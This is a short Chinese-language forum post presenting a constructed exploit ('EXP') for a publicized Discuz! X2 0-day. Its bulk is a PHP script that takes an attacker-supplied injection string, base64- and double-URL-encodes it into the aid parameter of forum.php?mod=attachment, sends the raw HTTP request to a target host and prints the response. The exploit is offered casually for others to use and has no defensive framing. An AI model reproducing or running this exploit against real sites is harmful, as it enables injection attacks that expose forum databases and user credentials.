前段闹的沸沸扬扬的Discuz! X2的0day随着前几天的利用代码公布也告
一段落,其实多是鸡肋。大家多知道Discuz!密码加密变态。暴出来也
没啥用。这个是构造出来的EXP。有用的着的拿去玩玩吧。
<?php global $tmp_expstr, $id; $id=$_GET['id']; //$_GET['$tmp_expstr']; //$id=str_replace(" ","%20",$id); //$id=str_replace("=","%3D",$id); $tmp_expstr = $id; //$tmp_expstr ="'"; //$id = $tmp_expstr; function getData($host,$path,$expdata,$data){ global $host, $path, $tmp_expstr; $host = "www.xxx.com"; $expdata = "/forum/forum.php?mod=attachment&findpost=ss&aid=".urlencode(urlencode(base64_encode($tmp_expstr))); $data = "GET $expdata HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Content-Length: ".strlen($expdata)."\r\n"; $data .= "Connection: Close\r\n\r\n"; $data .= $expdata; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 7); return $resp; } echo getData($host,$path,$expdata,$data); ?> |